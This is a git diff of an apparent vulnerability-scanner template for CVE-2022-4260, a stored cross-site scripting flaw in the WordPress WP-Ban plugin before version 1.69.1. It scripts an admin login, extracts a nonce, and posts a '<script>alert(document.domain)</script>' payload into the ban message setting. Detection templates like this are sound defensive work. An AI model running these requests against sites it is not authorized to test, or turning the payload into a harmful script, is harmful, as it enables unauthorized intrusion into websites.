diff --git a/cves/2022/CVE-2022-4260.yaml b/cves/2022/CVE-2022-4260.yaml
index 698de995f0..15e66ccb69 100644
--- a/cves/2022/CVE-2022-4260.yaml
+++ b/cves/2022/CVE-2022-4260.yaml
@@ -1,11 +1,12 @@
id: CVE-2022-4260
info:
- name: WP-Ban < 1.69.1 - Admin+ Stored XSS
+ name: WP-Ban < 1.69.1 - Admin Stored XSS
author: Hardik-Solanki
severity: high
description: |
The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
+ remediation: Fixed in version 1.69.1
reference:
- https://wpscan.com/vulnerability/d0cf24be-df87-4e1f-aae7-e9684c88e7db
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4260
@@ -15,43 +16,51 @@ info:
cwe-id: CWE-79
metadata:
verified: "true"
- tags: cve,cve2022,xss,wordpress,wp-plugin,wp-ban
+ tags: cve,cve2022,wordpress,wp-plugin,wp,xss,wp-ban
requests:
- raw:
+ - |
+ POST /wp-login.php HTTP/1.1
+ Host: {{Hostname}}
+ Origin: {{RootURL}}
+ Content-Type: application/x-www-form-urlencoded
+ Cookie: wordpress_test_cookie=WP%20Cookie%20check
+
+ log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
+
+ - |
+ GET / HTTP/1.1
+ Host: {{Hostname}}
+
- |
POST /wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1
Host: {{Hostname}}
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: en-GB,en;q=0.5
- Accept-Encoding: gzip, deflate
- Referer: {{Hostname}}/wp-admin/options-general.php?page=wp-ban%2Fban-options.php
- Content-Type: application/x-www-form-urlencoded
- Origin: {{RootURL}}
- Cookie: wordpress_test_cookie=WP%20Cookie%20check
-
- _wpnonce=d65eec14d6&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28111%29%3B%3C%2Fscript%3E&Submit=Save+Changes
-
- - |
- POST / HTTP/1.1
+
+ _wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&Submit=Save+Changes
+
+ - |
+ GET / HTTP/1.1
Host: {{Hostname}}
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: en-GB,en;q=0.5
- Accept-Encoding: gzip, deflate
- Referer: XSS
+ Referer: XSS
- matchers-condition: and
+ host-redirects: true
+ max-redirects: 2
+ cookie-reuse: true
+ req-condition: true
matchers:
- - type: word
- part: body
- words:
- - ""
+ - type: dsl
+ dsl:
+ - 'contains(body_4, "")'
+ - 'contains(content_type_4, "text/html")'
+ - 'status_code_4 == 200'
+ condition: and
- - type: word
- part: header
- words:
- - text/html
-
- - type: status
- status:
- - 200
+ extractors:
+ - type: regex
+ name: nonce
+ part: body
+ group: 1
+ regex:
+ - '_wpnonce=([0-9a-z]+)'
+ internal: true